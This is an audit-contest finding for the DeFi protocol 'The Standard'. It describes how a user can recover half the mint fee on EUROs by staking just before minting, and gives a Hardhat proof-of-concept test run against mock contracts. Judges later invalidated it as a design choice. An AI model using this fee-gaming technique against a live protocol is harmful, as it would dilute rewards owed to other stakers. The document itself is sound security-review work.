The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: medium
Invalid

User can manage to pay less than expected fee for minting EUROs

Summary

The protocol expects a user to pay 0.5% fee upon minting EUROs against their deposited collateral. 50% of this fee is distributed to the stakers and 50% taken by the protocol. A user can get away with reclaiming up to 50% of his paid fee by staking + minting instead of simply minting. Imagine the following scenario:

  • Alice plans to mint €1000 worth of EUROs. She knows the fee involved is 0.5% of 1000 = €5

  • She first stakes 1 TST and 1 EUROs

  • She then deposits €1206 worth of collateral since this is the minimum needed ---> (1000 + 5) * 1.2 = €1206

  • She mints €1000 EUROs. €2.5 of the fee goes to the protocol.

  • €2.5 of the fee given back to any stakers present. Hence she receives €2.5 back.

  • Alice can later withdraw her staked assets by calling LiquidationPool::decreasePosition() which involves no fee.

Even if there were additional stakers present in the pool since many days, their rightful share of the fee is diluted because Alice will always stake + mint instead of simply mint.

PoC

Create a new file test/payLessFee.js with the following code and run via npx hardhat test --grep 'lower fee payment on minting' to see the test pass. The user just pays €2.5 fee instead of €5.

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { ETH, getNFTMetadataContract, DEFAULT_EUR_USD_PRICE, DEFAULT_ETH_USD_PRICE, DEFAULT_COLLATERAL_RATE, HUNDRED_PC, fastForward, DAY, POOL_FEE_PERCENTAGE, fullyUpgradedSmartVaultManager, PROTOCOL_FEE_RATE } = require("./common");
describe('FeeInspection', async () => {
let LiquidationPoolManager, LiquidationPool, TokenManager,
TST, EUROs, ERC20MockFactory, admin, user1, protocol, liquidator, ClEurUsd, ClEthUsd, ClCoinUsd, VaultManager, Vault, collateralCoin;
beforeEach(async () => {
[admin, user1, protocol, liquidator] = await ethers.getSigners();
ERC20MockFactory = await ethers.getContractFactory('ERC20Mock');
TST = await ERC20MockFactory.deploy('The Standard Token', 'TST', 18);
EUROs = await (await ethers.getContractFactory('EUROsMock')).deploy();
ClEurUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('EUR / USD');
await ClEurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
ClEthUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('ETH / USD');
await ClEthUsd.setPrice(DEFAULT_ETH_USD_PRICE);
TokenManager = await (await ethers.getContractFactory('TokenManagerMock')).deploy(ETH, ClEthUsd.address);
const SmartVaultDeployer = await (await ethers.getContractFactory('SmartVaultDeployerV3')).deploy(ETH, ClEurUsd.address);
const SmartVaultIndex = await (await ethers.getContractFactory('SmartVaultIndex')).deploy();
const NFTMetadataGenerator = await (await getNFTMetadataContract()).deploy();
const SwapRouterMock = await (await ethers.getContractFactory('SwapRouterMock')).deploy();
const MockWeth = await (await ethers.getContractFactory('WETHMock')).deploy();
VaultManager = await fullyUpgradedSmartVaultManager(
DEFAULT_COLLATERAL_RATE, PROTOCOL_FEE_RATE, EUROs.address, protocol.address,
liquidator.address, TokenManager.address, SmartVaultDeployer.address,
SmartVaultIndex.address, NFTMetadataGenerator.address, MockWeth.address,
SwapRouterMock.address
);
await SmartVaultIndex.setVaultManager(VaultManager.address);
await EUROs.grantRole(await EUROs.DEFAULT_ADMIN_ROLE(), VaultManager.address);
await VaultManager.connect(user1).mint();
const _vault = (await VaultManager.connect(user1).vaults())[0];
const vaultAddress = _vault.status.vaultAddress;
Vault = await ethers.getContractAt('SmartVaultV3', vaultAddress);
const LiquidationPoolManagerContract = await ethers.getContractFactory('LiquidationPoolManager');
LiquidationPoolManager = await LiquidationPoolManagerContract.deploy(
TST.address, EUROs.address, VaultManager.address, ClEurUsd.address, protocol.address, POOL_FEE_PERCENTAGE
);
await VaultManager.setLiquidatorAddress(LiquidationPoolManager.address);
await VaultManager.setProtocolAddress(LiquidationPoolManager.address);
LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address);
// to be used for depositing as collateral, inside self-liquidation tests
collateralCoin = await ERC20MockFactory.deploy('Collateral Coin', 'cCOIN', 18);
ClCoinUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('cCOIN / USD');
await TokenManager.addAcceptedToken(collateralCoin.address, ClCoinUsd.address);
});
describe('lower fee payment on minting', async () => {
it('allows getting away with paying lesser fees for minting EUROs', async () => {
// set price for easier calculations
await ClEurUsd.setPrice(100000000); // €1 = $1
await ClCoinUsd.setPrice(120600000); // 1 cCOIN = $1.206 = €1.206
// Step 1. stake TST & EUROs
const tstStake = 1;
const eurosStake = 1;
await TST.mint(user1.address, tstStake);
await EUROs.mint(user1.address, eurosStake);
await TST.connect(user1).approve(LiquidationPool.address, tstStake);
await EUROs.connect(user1).approve(LiquidationPool.address, eurosStake);
await LiquidationPool.connect(user1).increasePosition(tstStake, eurosStake);
let { _position } = await LiquidationPool.position(user1.address);
expect(_position.TST).to.equal(tstStake);
expect(_position.EUROs).to.equal(eurosStake);
// Step 2. deposit collateral & mint EUROs
const userCollateral = ethers.utils.parseEther('1000'); // worth €1206
await collateralCoin.mint(Vault.address, userCollateral);
const mintedEUROs = ethers.utils.parseEther('1000'); // worth €1000. Fee = 0.5% * 1000 = €5. As (1000+5)*1.2=1206, this is the maxMintable.
const mintFee = mintedEUROs.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
await Vault.connect(user1).mint(user1.address, mintedEUROs);
expect(await EUROs.balanceOf(user1.address)).to.equal(mintedEUROs);
expect(await EUROs.balanceOf(LiquidationPoolManager.address)).to.equal(mintFee, "protocolFee");
// @audit-info : user1 can receive 50% of fees = €2.5 back in his wallet
const euroPlusMintFeeShare = mintFee.div(2).add(eurosStake);
await LiquidationPoolManager.connect(user1).distributeFees();
({ _position } = await LiquidationPool.position(user1.address));
expect(_position.EUROs).to.equal(euroPlusMintFeeShare, "euroPlusMintFeeShare"); // @audit : Hence, user1 has to pay only €2.5 fee instead of €5
});
});
});

Impact

Malicious user is able to game the system which dilutes the fee share of other legitimate users.

Tools Used

Hardhat

Recommendations

Since the malicious user may use multiple wallets to carry out this attack (one for staking, one for minting), checking for a wallet's _position or balance won't be an effective solution.

A good approach could be to introduce a time lag such that a staker has to remain in the system for a week or so before he is eligible to get a share of the fee. This will discourage such attacks which result in immediate gains.

Updates

Lead Judging Commences

hrishibhat Lead Judge
over 1 year ago
hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pay-less-fee

hrishibhat Lead Judge
over 1 year ago
hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.